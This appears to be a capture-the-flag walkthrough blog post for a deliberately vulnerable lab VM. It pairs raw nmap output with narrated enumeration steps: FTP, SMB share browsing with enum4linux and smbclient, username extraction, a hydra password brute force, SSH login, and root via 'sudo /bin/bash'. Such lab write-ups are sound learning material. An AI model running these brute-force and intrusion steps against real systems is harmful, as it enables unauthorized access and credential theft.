22/tcp   open   ssh         OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 AA:22:CC:44:DD:66:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)
|   256 AA:22:CC:44:DD:66:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)
|_  256 AA:22:CC:44:DD:66:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (ED25519)
53/tcp   open   domain      dnsmasq 2.75
| dns-nsid: 
|   id.server: ns1-tvm
|_  bind.version: dnsmasq-2.75
80/tcp   open   http        PHP cli server 5.5 or later
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: 404 Not Found
139/tcp  open   netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp  open   doom?
| fingerprint-strings: 
|   NULL: 
|     message2.jpgUT 
|     QWux
|     "DL[E
|     #;3[
|     \xf6
|     u([r
|     qYQq
|     Y_?n2
|     3&M~{
|     9-a)T
|     L}AJ
|_    .npy.9
3306/tcp open   mysql       MySQL 5.7.12-0ubuntu1
| mysql-info: 
|   Protocol: 10
|   Version: 5.7.12-0ubuntu1
|   Thread ID: 8
|   Capabilities flags: 63487
|   Some Capabilities: Support41Auth, LongColumnFlag, Speaks41ProtocolOld, ConnectWithDatabase, IgnoreSpaceBeforeParenthesis, LongPassword, DontAllowDatabaseTableColumn, IgnoreSigpipes, InteractiveClient, SupportsCompression, Speaks41ProtocolNew, SupportsTransactions, SupportsLoadDataLocal, ODBCClient, FoundRows, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
|   Status: Autocommit
|   Salt: N\x7F\x0C~v\x04q\x1DO\x14qxn|\x06
| V\x7F\x01m
|_  Auth Plugin Name: mysql_native_password
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port666-TCP:V=7.91%I=7%D=12/26%Time=5FE7042A%P=x86_64-pc-linux-gnu%r(NU
SF:LL,16A0,"PK\x03\x04\x14\0\x02\0\x08\0d\x80\xc3Hp\xdf\x15\x81\xaa,\0\0\x
SF:152\0\0\x0c\0\x1c\0message2\.jpgUT\t\0\x03\+\x9cQWJ\x9cQWux\x0b\0\x01\x
SF:04\xf5\x01\0\0\x04\x14\0\0\0\xadz\x0bT\x13\xe7\xbe\xefP\x94\x88\x88A@\x
SF:a2\x20\x19\xabUT\xc4T\x11\xa9\x102>\x8a\xd4RDK\x15\x85Jj\xa9\"DL\[E\xa2
SF:\x0c\x19\x140<\xc4\xb4\xb5\xca\xaen\x89\x8a\x8aV\x11\x91W\xc5H\x20\x0f\
SF:xb2\xf7\xb6\x88\n\x82@%\x99d\xb7\xc8#;3\[\r_\xcddr\x87\xbd\xcf9\xf7\xae
SF:u\xeeY\xeb\xdc\xb3oX\xacY\xf92\xf3e\xfe\xdf\xff\xff\xff=2\x9f\xf3\x99\x
SF:d3\x08y}\xb8a\xe3\x06\xc8\xc5\x05\x82>`\xfe\x20\xa7\x05:\xb4y\xaf\xf8\x
SF:a0\xf8\xc0\^\xf1\x97sC\x97\xbd\x0b\xbd\xb7nc\xdc\xa4I\xd0\xc4\+j\xce\[\
SF:x87\xa0\xe5\x1b\xf7\xcc=,\xce\x9a\xbb\xeb\xeb\xdds\xbf\xde\xbd\xeb\x8b\
SF:xf4\xfdis\x0f\xeeM\?\xb0\xf4\x1f\xa3\xcceY\xfb\xbe\x98\x9b\xb6\xfb\xe0\
SF:xdc\]sS\xc5bQ\xfa\xee\xb7\xe7\xbc\x05AoA\x93\xfe9\xd3\x82\x7f\xcc\xe4\x
SF:d5\x1dx\xa2O\x0e\xdd\x994\x9c\xe7\xfe\x871\xb0N\xea\x1c\x80\xd63w\xf1\x
SF:af\xbd&&q\xf9\x97'i\x85fL\x81\xe2\\\xf6\xb9\xba\xcc\x80\xde\x9a\xe1\xe2
SF::\xc3\xc5\xa9\x85`\x08r\x99\xfc\xcf\x13\xa0\x7f{\xb9\xbc\xe5:i\xb2\x1bk
SF:\x8a\xfbT\x0f\xe6\x84\x06/\xe8-\x17W\xd7\xb7&\xb9N\x9e<\xb1\\\.\xb9\xcc
SF:\xe7\xd0\xa4\x19\x93\xbd\xdf\^\xbe\xd6\xcdg\xcb\.\xd6\xbc\xaf\|W\x1c\xf
SF:d\xf6\xe2\x94\xf9\xebj\xdbf~\xfc\x98x'\xf4\xf3\xaf\x8f\xb9O\xf5\xe3\xcc
SF:\x9a\xed\xbf`a\xd0\xa2\xc5KV\x86\xad\n\x7fou\xc4\xfa\xf7\xa37\xc4\|\xb0
SF:\xf1\xc3\x84O\xb6nK\xdc\xbe#\)\xf5\x8b\xdd{\xd2\xf6\xa6g\x1c8\x98u\(\[r
SF:\xf8H~A\xe1qYQq\xc9w\xa7\xbe\?}\xa6\xfc\x0f\?\x9c\xbdTy\xf9\xca\xd5\xaa
SF:k\xd7\x7f\xbcSW\xdf\xd0\xd8\xf4\xd3\xddf\xb5F\xabk\xd7\xff\xe9\xcf\x7fy
SF:\xd2\xd5\xfd\xb4\xa7\xf7Y_\?n2\xff\xf5\xd7\xdf\x86\^\x0c\x8f\x90\x7f\x7
SF:f\xf9\xea\xb5m\x1c\xfc\xfef\"\.\x17\xc8\xf5\?B\xff\xbf\xc6\xc5,\x82\xcb
SF:\[\x93&\xb9NbM\xc4\xe5\xf2V\xf6\xc4\t3&M~{\xb9\x9b\xf7\xda-\xac\]_\xf9\
SF:xcc\[qt\x8a\xef\xbao/\xd6\xb6\xb9\xcf\x0f\xfd\x98\x98\xf9\xf9\xd7\x8f\x
SF:a7\xfa\xbd\xb3\x12_@N\x84\xf6\x8f\xc8\xfe{\x81\x1d\xfb\x1fE\xf6\x1f\x81
SF:\xfd\xef\xb8\xfa\xa1i\xae\.L\xf2\\g@\x08D\xbb\xbfp\xb5\xd4\xf4Ym\x0bI\x
SF:96\x1e\xcb\x879-a\)T\x02\xc8\$\x14k\x08\xae\xfcZ\x90\xe6E\xcb<C\xcap\x8
SF:f\xd0\x8f\x9fu\x01\x8dvT\xf0'\x9b\xe4ST%\x9f5\x95\xab\rSWb\xecN\xfb&\xf
SF:4\xed\xe3v\x13O\xb73A#\xf0,\xd5\xc2\^\xe8\xfc\xc0\xa7\xaf\xab4\xcfC\xcd
SF:\x88\x8e}\xac\x15\xf6~\xc4R\x8e`wT\x96\xa8KT\x1cam\xdb\x99f\xfb\n\xbc\x
SF:bcL}AJ\xe5H\x912\x88\(O\0k\xc9\xa9\x1a\x93\xb8\x84\x8fdN\xbf\x17\xf5\xf
SF:0\.npy\.9\x04\xcf\x14\x1d\x89Rr9\xe4\xd2\xae\x91#\xfbOg\xed\xf6\x15\x04
SF:\xf6~\xf1\]V\xdcBGu\xeb\xaa=\x8e\xef\xa4HU\x1e\x8f\x9f\x9bI\xf4\xb6GTQ\
SF:xf3\xe9\xe5\x8e\x0b\x14L\xb2\xda\x92\x12\xf3\x95\xa2\x1c\xb3\x13\*P\x11
SF:\?\xfb\xf3\xda\xcaDfv\x89`\xa9\xe4k\xc4S\x0e\xd6P0");
MAC Address: AA:22:CC:44:DD:66 (Oracle VirtualBox virtual NIC)
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 5h30m00s, deviation: 3s, median: 5h29m58s
| nbstat: NetBIOS name: RED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   RED<00>              Flags: <unique><active>
|   RED<03>              Flags: <unique><active>
|   RED<20>              Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|_  WORKGROUP<1e>        Flags: <group><active>
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
|   Computer name: red
|   NetBIOS computer name: RED\x00
|   Domain name: \x00
|   FQDN: red
|_  System time: 2020-12-26T15:06:58+00:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-12-26T15:06:58
|_  start_date: N/A

The version of the SSH server and OS of the target was partially leaking via the banner. A quick google search suggested that this machine must be Ubuntu Xenial and the release date somewhere close to Nov 2018.

Now that we’ve enumerated the OS version of the target, let’s move on to enumerating the services.

Nmap showed that there is an FTP service running and we had anonymous access to it. So, I tried logging in to the FTP with anonymous as the username and an empty password.

There was a note file in the anonymous FTP share.

I used get command to download the note file. The contents of the note file are as follows.

Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.

So, that means there are other FTP users in this machine.

Since we have no credentials to access the machine, let’s keep this information in the back of our head and come back later for bruteforcing if none of the other ways work.

Moving on…

There was a Web server running on port 80. Navigating to it from browser showed the following web page.

I’ve tried bruteforcing the directories of this webpage using gobuster with different wordlists, but I didn’t find any directories or files except a .bashrc and .profile file.

Since the banner showed the web server as PHP cli server 5.5 or later, I thought this must be running inside some user’s directory. So, I tried to navigate to .ssh/ directory to find if we can download the id_rsa file. But, there wasn’t any key file or any other files present in that location.

It was a rabbit hole! 😢

Moving on…

I then decided to scan the machine for the 65535 ports using the following Nmap command.

Nmap -sCV -v -p- -oA all-ports 192.168.1.10

And sure enough, there was a port 12380 open! This service showed the banner Apache httpd 2.4.18 ((Ubuntu)).

So, it is a webserver. Visiting it from a browser showed the following webpage.

I’ve tried to bruteforce this website, but just like the previous web site, this was also a dead end.

Moving on..

There was port 139 open, which showed the banner netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP).

So, I used enum4linux to scan the SMB protocol.

enum4linux -a 192.168.1.10|tee enum4linux

And found out that the target machine had guest user session enabled and enum4linux had dumped plenty of information including a users list. Great!

Enum4linux had also found out that there were some SMB shares in the target machine.

I used SMBMap to find out the permissions of the shares.

smbmap -H 192.168.1.10 -P 139

We explicitly specified the port number because by default, smbmap uses port 445.

We can read \kathy and read and write to \tmp.

I used smbclient to browse the shares using the following command.

smbclient \\\\192.168.1.10\\kathy

There was a backup folder with a backup of a wordpress website and a kathy_stuff directory with a to-do note. I used get command just like we did with FTP shares to download the files to my machine.

The to-do-list file said I'm making sure to backup anything important for Initech, Kathy. Another rabbit hole.

Moving on…

I’ve downloaded the wordpress backup archive from kathy\backup directory and extensively searched in the files for any credentials, but there wasn’t any.

*g0tmilk laughs in back*

I tried a possible RCE vulnerability for SMB, but it failed.

At this point I was going crazy. Time for bruteforce.

Enum4linux has found some users in the machine. So, let’s pipe some grep and cut commands to export the usernames into a file.

cat enum4linux|grep ^S-1|grep -v 8\)$|cut -d " " -f3|grep -i ^user|cut -d "\\" -f2 > users.txt

Now, let’s use hydra to crack the passwords. Here, as a start I am going to supply the user names list as password file.

hydra -L users.txt -P users.txt ftp://192.168.1.10

And hydra cracked an account.

I tried to use these credentials via SSH, but my SSH client wasn’t connecting to the target because the target was running an obsolete SSH server version and the cipher suits are not supported by default.

So, I had to uncomment the Ciphers line in /etc/ssh/ssh_config file.

And I tried logging into SSH again and this time, it was a success!

NOTE: We should comment the line back after cracking the box.

And we’re in!

I then downloaded the linpeas.sh file into the target and started enumeration.

After the execution of the script has finished, I’ve got a few juicy information. Every users directory could be accessed by SHayslett and we got a password for user JKanode and peter.

So, I logged in as Peter.

su peter

Once I logged in. I used sudo -l command to test if peter has any sudo privileges and found out that peter can run any command as sudo. So, I issued the following command to spawn a bash shell as root.

sudo /bin/bash
Woot!

And there was a flag in /root, waiting for the champions.

And that’s it!

Even though this is a pretty easy box, the methodology I needed to adapt for solving this box was a great lesson for me.

Good One GIFs | Tenor